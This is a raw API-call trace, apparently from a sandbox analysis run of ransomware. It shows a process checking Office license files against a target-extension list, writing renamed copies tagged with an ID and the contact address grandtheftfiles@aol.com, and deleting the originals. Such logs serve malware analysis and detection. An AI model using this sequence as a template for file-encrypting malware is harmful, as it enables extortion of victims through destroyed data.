	[0175.353] lstrlenW (lpString=".zip") returned 4
	[0175.353] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString=".rar") returned 4
	[0175.353] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString=".bz2") returned 4
	[0175.353] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString=".7z") returned 3
	[0175.353] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.353] lstrlenW (lpString=".dbf") returned 4
	[0175.353] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.353] lstrlenW (lpString=".1cd") returned 4
	[0175.353] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.353] lstrlenW (lpString=".jpg") returned 4
	[0175.353] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.353] lstrlenW (lpString=".doc") returned 4
	[0175.354] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString=".docx") returned 5
	[0175.354] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.354] lstrlenW (lpString=".pdf") returned 4
	[0175.354] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString=".xls") returned 4
	[0175.354] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString=".xlsx") returned 5
	[0175.354] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.354] lstrlenW (lpString=".ppt") returned 4
	[0175.354] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.354] lstrlenW (lpString=".zip") returned 4
	[0175.354] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString=".rar") returned 4
	[0175.354] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString=".bz2") returned 4
	[0175.354] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString=".7z") returned 3
	[0175.354] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.354] lstrlenW (lpString=".dbf") returned 4
	[0175.354] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.354] lstrlenW (lpString=".1cd") returned 4
	[0175.354] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0175.354] lstrlenW (lpString=".jpg") returned 4
	[0175.354] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.354] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.354] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29
	[0175.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.355] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11167) returned 1
	[0175.355] CloseHandle (hObject=0x574) returned 1
	[0175.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220
	[0175.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.356] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.356] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0175.357] GetLastError () returned 0x0
	[0175.357] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0175.358] WriteFile (in: hFile=0x3e0, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0175.360] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.360] WriteFile (in: hFile=0x3e0, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0175.360] SetEndOfFile (hFile=0x3e0) returned 1
	[0175.360] CloseHandle (hObject=0x3e0) returned 1
	[0175.360] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.360] SetEndOfFile (hFile=0x574) returned 1
	[0175.363] CloseHandle (hObject=0x574) returned 1
	[0175.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1
	[0175.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.364] lstrlenW (lpString=".doc") returned 4
	[0175.364] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.364] lstrlenW (lpString=".docx") returned 5
	[0175.364] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.364] lstrlenW (lpString=".pdf") returned 4
	[0175.364] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.364] lstrlenW (lpString=".xls") returned 4
	[0175.364] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.364] lstrlenW (lpString=".xlsx") returned 5
	[0175.364] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.365] lstrlenW (lpString=".ppt") returned 4
	[0175.365] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.365] lstrlenW (lpString=".zip") returned 4
	[0175.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString=".rar") returned 4
	[0175.365] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString=".bz2") returned 4
	[0175.365] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString=".7z") returned 3
	[0175.365] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.365] lstrlenW (lpString=".dbf") returned 4
	[0175.365] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.365] lstrlenW (lpString=".1cd") returned 4
	[0175.365] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.365] lstrlenW (lpString=".jpg") returned 4
	[0175.365] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.365] lstrlenW (lpString=".doc") returned 4
	[0175.365] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString=".docx") returned 5
	[0175.365] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.365] lstrlenW (lpString=".pdf") returned 4
	[0175.365] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString=".xls") returned 4
	[0175.365] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString=".xlsx") returned 5
	[0175.365] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.365] lstrlenW (lpString=".ppt") returned 4
	[0175.365] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.365] lstrlenW (lpString=".zip") returned 4
	[0175.365] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.365] lstrlenW (lpString=".rar") returned 4
	[0175.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.366] lstrlenW (lpString=".bz2") returned 4
	[0175.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.366] lstrlenW (lpString=".7z") returned 3
	[0175.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.366] lstrlenW (lpString=".dbf") returned 4
	[0175.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.366] lstrlenW (lpString=".1cd") returned 4
	[0175.366] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0175.366] lstrlenW (lpString=".jpg") returned 4
	[0175.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.366] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.366] lstrlenW (lpString="MondoR_Subscription-ppd.xrm-ms") returned 30
	[0175.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.367] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=32361) returned 1
	[0175.367] CloseHandle (hObject=0x574) returned 1
	[0175.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220
	[0175.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.368] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.368] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0175.369] GetLastError () returned 0x0
	[0175.369] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x7e69, lpOverlapped=0x0) returned 1
	[0175.378] WriteFile (in: hFile=0x3e0, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0175.380] ReadFile (in: hFile=0x574, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.380] WriteFile (in: hFile=0x3e0, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x110, lpOverlapped=0x0) returned 1
	[0175.380] SetEndOfFile (hFile=0x3e0) returned 1
	[0175.381] CloseHandle (hObject=0x3e0) returned 1
	[0175.381] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.381] SetEndOfFile (hFile=0x574) returned 1
	[0175.384] CloseHandle (hObject=0x574) returned 1
	[0175.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1
	[0175.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.385] lstrlenW (lpString=".doc") returned 4
	[0175.385] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.385] lstrlenW (lpString=".docx") returned 5
	[0175.385] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.385] lstrlenW (lpString=".pdf") returned 4
	[0175.385] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.385] lstrlenW (lpString=".xls") returned 4
	[0175.385] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.635] lstrlenW (lpString=".xlsx") returned 5
	[0175.635] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.635] lstrlenW (lpString=".ppt") returned 4
	[0175.635] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.635] lstrlenW (lpString=".zip") returned 4
	[0175.635] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.635] lstrlenW (lpString=".rar") returned 4
	[0175.636] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString=".bz2") returned 4
	[0175.636] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString=".7z") returned 3
	[0175.636] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.636] lstrlenW (lpString=".dbf") returned 4
	[0175.636] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.636] lstrlenW (lpString=".1cd") returned 4
	[0175.636] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.636] lstrlenW (lpString=".jpg") returned 4
	[0175.636] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.636] lstrlenW (lpString=".doc") returned 4
	[0175.636] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString=".docx") returned 5
	[0175.636] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.636] lstrlenW (lpString=".pdf") returned 4
	[0175.636] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString=".xls") returned 4
	[0175.636] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString=".xlsx") returned 5
	[0175.636] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.636] lstrlenW (lpString=".ppt") returned 4
	[0175.636] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.637] lstrlenW (lpString=".zip") returned 4
	[0175.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.637] lstrlenW (lpString=".rar") returned 4
	[0175.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.637] lstrlenW (lpString=".bz2") returned 4
	[0175.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.637] lstrlenW (lpString=".7z") returned 3
	[0175.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.637] lstrlenW (lpString=".dbf") returned 4
	[0175.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.637] lstrlenW (lpString=".1cd") returned 4
	[0175.637] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0175.637] lstrlenW (lpString=".jpg") returned 4
	[0175.637] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.637] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.637] lstrlenW (lpString="MondoR_SubTest-ul-oob.xrm-ms") returned 28
	[0175.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.638] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11591) returned 1
	[0175.638] CloseHandle (hObject=0x55c) returned 1
	[0175.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220
	[0175.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0175.639] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.639] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0175.640] GetLastError () returned 0x0
	[0175.640] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0175.686] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0175.687] ReadFile (in: hFile=0x55c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.687] WriteFile (in: hFile=0x540, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0175.687] SetEndOfFile (hFile=0x540) returned 1
	[0175.959] CloseHandle (hObject=0x540) returned 1
	[0175.960] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.960] SetEndOfFile (hFile=0x55c) returned 1
	[0175.965] CloseHandle (hObject=0x55c) returned 1
	[0175.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1
	[0175.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0175.966] lstrlenW (lpString=".doc") returned 4
